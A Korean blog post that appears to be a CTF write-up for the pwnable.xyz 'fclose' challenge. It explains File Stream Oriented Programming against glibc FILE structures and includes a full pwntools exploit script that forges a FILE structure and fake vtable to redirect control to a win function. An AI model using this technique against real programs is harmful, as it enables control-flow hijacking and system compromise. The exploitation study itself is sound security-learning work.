상세 컨텐츠

본문 제목

[pwnable.xyz] fclose (fSOP)

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 2. 10. 12:34

본문

728x90
반응형

# description

 

FSOP(File Stream Oriented Programming) 기법을 사용하는 문제이다.


# code

 

 

fclose 함수로 input을 인자로 파일을 닫는다. 

 

 

input 변수는 전역변수로 FILE 포인터이다.

 


# process

 

bss 섹션(0x601000)을 보면, stdout과 stdin이 구조체(struct _IO_FILE_plus)로 구조화되어있다.

 

 

glibc이 사용하는 FILE 구조체로, 최근 vtable이 추가되었다.

vtable 포인터는 FILE 구조체의 마지막 8바이트에 위치하며, vtable 포인터가 가리키는 vtable은 해당 포인터가 가지는 주소에 위치한다.

 

vtable 구조체(struct _IO_jump_t)에는 함수의 주소들이 적혀있다.

 

1. input에 FILE 구조체를 만든다.

 

* 신경써야 할 점 *

 

1) _IO_lock_t 포인터가 가지는 값은 쓸 수 있는 영역이어야 한다.

 

_IO_lock_t 포인터는 멀티쓰레딩 환경에서 파일을 읽고 쓸 때 race condition을 방지하기 위해 사용한다.

 

2) FILE 구조체의 마지막 8바이트는 vtable에 대한 포인터이다. 

 

이 마지막 8바이트에는 &fake vtable을 넣어야 한다.

 

이 조건을 만족시키도록 offset을 구해서 배치한다.

사용하지 않는 나머지 부분은 0으로 채운다.

(A같은 값으로 채우면 밀릴 수 있다.)

 

2. fake vtable 생성

 

우리는 fclose(&input)을 사용할 것이다.

fclose 시 fclose 대신 win 함수를 실행하게 한다.

따라서 fake vtable에서 원래 stdout이나 stdin에서 fclose 함수의 주소가 위치한 곳의 offset을 구해서 fake vtable에 배치한다.

 

 

하지만 이 문제의 경우, 디버깅을 하다보면 fclose가 아닌 vtable에서 rsp+0x10, 즉 finish 주소를 참조해서 vtable+0x10 영역에 win 함수 주소를 적었다.

 

3. vtable의 시작주소를 FILE 구조체의 마지막 8바이트에 적는다.

 

4. 완성된 구조

 

 


# exploit code

 

#!/usr/bin/python 
from pwn import *

#context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30018)
#gdb.attach(p)
elf = ELF("./challenge")
win = elf.symbols['win']
lock_offset = 136
fclose_offset = 136
input = 0x601260

pay = '\x00'*lock_offset
pay += p64(0x601648)
pay += '\x00'*0x48
pay += p64(input+lock_offset+0x48+0x10)
#pay += '\x00'*fclose_offset
pay += '\x00'*0x10
pay += p64(win)

p.sendline(pay)

p.interactive()

 

 

# exploit

 

 


 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] J-U-M-P  (0) 2020.02.28
[pwnable.xyz] strcat  (0) 2020.02.27
[pwnable.xyz] SUS  (0) 2020.02.05
[pwnable.xyz] game  (0) 2020.01.22
[pwnable.xyz] Jmp_table  (0) 2019.11.11

관련글 더보기